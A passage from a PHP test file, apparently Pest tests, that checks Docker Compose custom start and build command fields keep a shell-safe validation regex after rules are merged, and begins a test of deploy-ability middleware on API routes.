'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();